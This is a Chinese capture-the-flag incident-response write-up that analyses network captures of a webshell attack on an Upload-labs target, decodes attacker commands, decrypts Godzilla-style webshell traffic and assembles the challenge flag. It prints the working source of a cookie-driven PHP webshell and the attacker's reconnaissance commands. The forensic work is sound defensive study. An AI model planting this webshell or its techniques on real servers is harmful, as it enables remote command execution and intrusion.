ShellDecoder
应急响应 解题数:4
某政务云服务器被上传了webshell,触发了告警。经过严密的分析后,成功溯源到嫌疑人。现对该起事件进行复盘,请根据捕获流量找到flag
解压文件以后我们能发现有两个流量包:
1.pacp全是DNS流量,我们直接使用CTF-NetA一把梭
拿到有一串类似解压文件的密码。
2.pcapng我们初步返回的数据分析能发现是一个文件上传的靶场,猜测是Upload-labs
所以我们的目标先去寻找有没有上传的文件,直接CTF-NetA统计所有200的访问记录
里面穿插了大量的SQL注入的杂乱数据,先去除这些数据
还有一些访问外网资源的记录,其实也直接去除
这样就比较直观了,明显的上传文件就是a.php 和 shell.php
我们先去流量里面直接寻找看看能不能找到上传的信息和找到源码
#我这里直接手动把a.php所有的和上下多两条流量全部单独提取出来了,WIN的太大会卡
#所以这里的TCP流不是原流量包内的,这里就不列出来了
能发现有一个传输的a.php的,明显是伪装成图片上传,稍微反编译:
<?php
$b = "base64_decode";if (!$_COOKIE["cm"]) {}ob_start();system(base64_decode($_COOKIE["cm"]) . ' 2>&1'
);setcookie($_COOKIE["cn"],$_COOKIE["cp"] . base64_encode(ob_get_contents()) . $_COOKIE["cp"]
);ob_end_clean();
?>
简单描述就是cm传输base64加密后的命令,然后执行结果会被cp包围起来,并且返回的数据是在cookie值
我们来手动解密一段:
我们直接用批量脚本分析一下:
#回显结果:
D:\PyCharm\pythonProject\.venv\Scripts\python.exe F:\ENV\Re.py ==== #1 ====
[命令] id
[回显]
'id' 不是内部或外部命令,也不是可运行的程序
或批处理文件。==== #2 ====
[命令] dir
[回显]驱动器 D 中的卷是 软件卷的序列号是 7CF9-F4C8D:\phpStudy\PHPTutorial\WWW\upload\upload 的目录2025/09/12 09:27 <DIR> .
2025/09/03 20:38 <DIR> ..
2025/09/12 08:40 48 0.txt
2025/09/12 08:33 164 1.txt
2025/09/12 08:35 164 10.txt
2025/09/12 08:36 148 11.txt
2025/09/12 09:00 80 12.txt
2025/09/12 08:33 164 2.txt
2025/09/12 08:34 164 3.txt
2025/09/12 08:34 164 4.txt
2025/09/12 08:34 164 5.txt
2025/09/12 08:34 164 6.txt
2025/09/12 08:35 164 7.txt
2025/09/12 08:35 164 8.txt
2025/09/12 08:35 164 9.txt
2025/09/12 09:58 576 a.php
2025/09/12 08:47 589 b.php
2025/09/12 08:10 894 key.zip
2025/09/12 09:32 2,561 shell.php17 个文件 6,536 字紹U2 个目录 41,195,835,392 可用字节==== #3 ====
[命令] type 9.txt
[回显]
7648efd0c2c68d14172ecf4fcfa6e3ab055f0458226822886d86d15cedb084b2eff4a3c01e3a1a838a54b87563b09b2fd2688ad2d4f1e75a69b0c3f06e6ff75c496905bc0f3dae6d7de35931de2d570c882d==== #4 ====
[命令] type 4.txt
[回显]
2f20a9c10dc6d3f7490c6630b4b05dd9a5e3d124cc6018ebc70bedf88abdb06dafc7c72b5f6864936ab9dea44f0e66943b25585839a541bdf809670c6b08ce84a43c1ac5f1d3ceb202def2b09f3490c42acf==== #5 ====
[命令] type 7.txt
[回显]
68f8a23b6a818c72463aa79d255b20d96bb032ab19308a74625145680cb8bb55d52d4d1a7c8f4226b71e92e842278379c82185634f3ec174e2289a3a45eb3dd3cf0496b1eed33a6a01e84c9767f20b034701==== #6 ====
[命令] type 10.txt
[回显]
290b121d3b978fdf9ac8a15c71c31868f22e1cbf7a02be88b577a0678edfba56e8e338abd3fa3620bd4bd1c99f504b01023f001400010008001c412c5bc19503b4ea0200004c040000070024000000000000==== #7 ====
[命令] type 11.txt
[回显]
0020000000000000006b65792e7478740a00200000000000010018000eec7b6d7923dc0100000000000000000000000000000000504b05060000000001000100590000000f0300000000==== #8 ====
[命令] type 1.txt
[回显]
504b03041400010008001c412c5bc19503b4ea0200004c040000070000006b65792e7478747ef1a449c9656d0296825e0cd78424b2cfffe08ca344698a6628142f8cdad16009670a48d75b76155a849cb4e1==== #9 ====
[命令] type 2.txt
[回显]
84f059e8030af5b446c88819d72c4e219bb787e798382bc435a551658d53aea5569bbc3ffac6f1df18a4c2b7efb7736dd753ac143ff0852c019d0092cd230085fbe19ed5e1025f14db42162de1e271b72a62==== #10 ====
[命令] type 8.txt
[回显]
c08bfe54b5179b0da9c64581c85d261f85013d4ab126d98e628c22ef6bff68ef4931f2963e77720b8abcd46f36782ebf060649db141dab1e43870120be1755f8bd0a99e574b81556cc4f168000f42ea9e994==== #11 ====
[命令] type 6.txt
[回显]
3fdb176059a88d1fb0571967a64c141a6d18df8ac7aa56c0e63dcc85d0dbfa84084270169dfa5e8984ccd3f31e6bfec46a44c891019cce2584dd6d6ea9c207ecb6ef28bbaa7b1aaf46fabe6786ee8232c9c5==== #12 ====
[命令] type 3.txt
[回显]
6061c84370cb052b94e38830aa9fdf1f7b48e3181d2ede6b10e680343fc8aa6619f458b476930d59d4671635493919a82f6f9b2b28b54620331e0999c5fe1dbbc445d6bc2626e6f72217140e9439dca557d8==== #13 ====
[命令] type 5.txt
[回显]
a6e26ea04825426aa9c634efe4f996805e9d24beb92a10643ee8fe95970e4a9448328c594fd5783670e6b08c9084f4c877aebf31b5faa2c6ca113d40401fe1ac0cf92ad6b18e249672d998361a5d4a2e6cdf==== #14 ====
[命令] type 0.txt
[回显]
2d343962662d393066362d3034656536326561636230367d==== #15 ====
[命令] type 10.txt
[回显]
290b121d3b978fdf9ac8a15c71c31868f22e1cbf7a02be88b577a0678edfba56e8e338abd3fa3620bd4bd1c99f504b01023f001400010008001c412c5bc19503b4ea0200004c040000070024000000000000==== #16 ====
[命令] type 11.txt
[回显]
0020000000000000006b65792e7478740a00200000000000010018000eec7b6d7923dc0100000000000000000000000000000000504b05060000000001000100590000000f0300000000==== #17 ====
[命令] type 6.txt
[回显]
3fdb176059a88d1fb0571967a64c141a6d18df8ac7aa56c0e63dcc85d0dbfa84084270169dfa5e8984ccd3f31e6bfec46a44c891019cce2584dd6d6ea9c207ecb6ef28bbaa7b1aaf46fabe6786ee8232c9c5==== #18 ====
[命令] type 9.txt
[回显]
7648efd0c2c68d14172ecf4fcfa6e3ab055f0458226822886d86d15cedb084b2eff4a3c01e3a1a838a54b87563b09b2fd2688ad2d4f1e75a69b0c3f06e6ff75c496905bc0f3dae6d7de35931de2d570c882d==== #19 ====
[命令] systeminfo
[回显]主机名: DESKTOP-U4K5BH1
OS 名称: Microsoft Windows 11 专业工作站版
OS 版本: 10.0.26100 暂缺 Build 26100
OS 制造商: Microsoft Corporation
OS 配置: 独立工作站
OS 构建类型: Multiprocessor Free
注册的所有人: Wh1teSu
注册的组织: 暂缺
产品 ID: 00391-70000-00000-AA190
初始安装日期: 2025/2/26, 10:21:45
系统启动时间: 2025/9/12, 7:34:17
系统制造商: Micro Computer (HK) Tech Limited
系统型号: UM773
系统类型: x64-based PC
处理器: 安装了 1 个处理器。[01]: AMD64 Family 25 Model 68 Stepping 1 AuthenticAMD ~3201 Mhz
BIOS 版本: American Megatrends International, LLC. 1.16, 2023/2/15
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
*=Q佞时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 30,456 MB
可用的物理内存: 8,430 MB
虚拟内存: 最大值: 36,344 MB
虚拟内存: 可用: 6,773 MB
虚拟内存: 使用中: 29,571 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: \\DESKTOP-U4K5BH1
修补程序: 安装了 3 个修补程序。[01]: KB5056579[02]: KB5063878[03]: KB5065381
网卡: 安装了 8 个 NIC。[01]: Intel(R) Ethernet Controller (3) I225-V连接名: 以太网状态: 媒体连接已中断[02]: Bluetooth Device (Personal Area Network)连接名: 蓝牙网络连接状态: 媒体连接已中断[03]: RZ608 Wi-Fi 6E 80MHz连接名: WLAN启用 DHCP: 是DHCP 服务器: 192.168.5.1IP 地址
淣+揩<o|J<
;篕鼭<3琾
1-11.txt能合成一个压缩包,用前面1.pacp的密码解压能拿到一个key.txt
0.txt HEX解码是flag的后半段
-49bf-90f6-04ee62eacb06}
我们还能从dir里面获取到信息,结合前面总结的成功访问的URL,我们的下一步目标就是shell.php
还是一样,我们先观察然后把所有的shell.php提取出来

pass是哥斯拉默认的密码,也就是传参,并且第一条pass没有回显,所以我们就能判定第一条是传输的参数
我们利用前面给的key.txt先转换,全部转换成哥斯拉密钥的格式
这里使用的脚本是这个,稍微修改了一下变成批量爆破的 webraybtl/webshell_detect: webshell_detect
1p79u0ztp 0ca63845f8997771

然后我们能拿到密钥,去解密前面第一个发送的包,成功解码
但是用这个方法去解密之后执行的操作却发现不行
#我真的服了,这里猜测是一个php塞了两个马子
进行数据的分析解密发现是AES-ECB也就是 JAVA_AES_BASE64
#3.py
D:\PyCharm\pythonProject\.venv\Scripts\python.exe F:\ENV\3.py
==========================================================================================
### REQUEST 密文(base64解码后) 原始长度: 32
[XOR] len=32 head=b'\xa0\xfaH\x0b\x8f\x94\xa4\x9a\xad*\x04\xc9":Ik\xff\x16\xe9.\xcdu\xfa\xb7\x15\xb0\xcaI2\xc5\xed\xaf'
[XOR] ascii: ..H......*..":Ik.....u.....I2...
[AES-ECB] len=28 head=b'methodName\x02\r\x00\x00\x00getBasicsInfo'
[AES-ECB] ascii: methodName.....getBasicsInfo
[AES-ECB] >>> 可能命中 TLV(发现关键字)
[AES-CBC(K=IV)] len=32 head=b']\x06\x15^\\\\zT\x0b];4777V\xa6\xef<Y\xc4\xc9\xf2\x8f\xdc}[\x91\x11\t|_'
[AES-CBC(K=IV)] ascii: ]..^\\zT.];4777V..<Y.....}[...|_
==========================================================================================
### RESPONSE 密文(去头尾16HEX+base64后) 原始长度: 1136
[XOR] len=1136 head=b'\xbc2\x93e#!X\xf1R\xf4\x02x\x1e\xf0\xdcj{\x87\xeb\xb0\x86\x18\x003!\x1e\x83]\xe3n\xdf1'
[XOR] ascii: .2.e#!X.R..x...j{......3!..].n.1.a.S..5.rt-m...h5YU.)....L|,%..\..Z.@...,.........b-..;.q..s...)3...@=>......2x..%..&O.R
[AES-ECB] len=1132 head=b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x0b\xa5UQs\xa36\x10~\xe7W\xf0x\x99Q\xb0\x8d\x1d\xd7\x17?\x11\x83'
[AES-ECB] ascii: ...........UQs.6.~.W.x.Q.....?......A\..0.. ...D%....].Nsm..L.$.......U.V|'.k{.x!^.}..~..&at.m....vdO...6.,...ph.:...lv5
[AES-ECB+GZIP] len=2174 head=b'OsInfo : Windows NT DESKTOP-U4K5'
[AES-ECB+GZIP] ascii: OsInfo : Windows NT DESKTOP-U4K5BH1 6.2 build 9200 (Windows 8) i586.CurrentUser : Wh1teSu.REMOTE_ADDR : 192.168.7.134.RE
[AES-CBC(K=IV)] len=1136 head=b'/\xe8i63845f3\x9clfD\x94\x07\xcf-B\x01\xebm\xf4\xc6\xda@&\x98>\xf8\xfc\xd9'
[AES-CBC(K=IV)] ascii: /.i63845f3.lfD...-B..m...@&.>....9...p..).rJ..oE....l...9 ...W.......x....b.y.y.L..........]..7<.."z...M....TS.q/..`Ve}Y进程已结束,退出代码为 0
得到解码方式,去进行指定解密
#26:发送很多功能的PHP代码
#27:test测试 -> ok
#28:getBasicsInfo -> 返回一些系统信息
#29:类似dir
#30:写了一个flag.txt:flag{fake_flag} -> ok
#31:创建了一个flag.zip:flag.txt:flag{no_here} -> ok
#32:查看flag.txt
#35:执行systeminfo
#36:执行dir
#38:执行"tasklist /SVC
#39:执行chdir -> D:\phpStudy\PHPTutorial\WWW\upload\upload
#40:查看12.txt -> MyNnfCk2LkBEdWYsayQ2Uy9OOnRuJV5UczJzfUJVSXhENVJTRC40IUV2WD4melJDNWgxZ0g9LS0pNQ==Base混合多重解码:[解码5次] Base64 -> Base92 -> Ascii85 -> Base62 -> Base45混合解码结果:flag{94e35868-8b16
所以最后拼接flag:flag{94e35868-8b16-49bf-90f6-04ee62eacb06}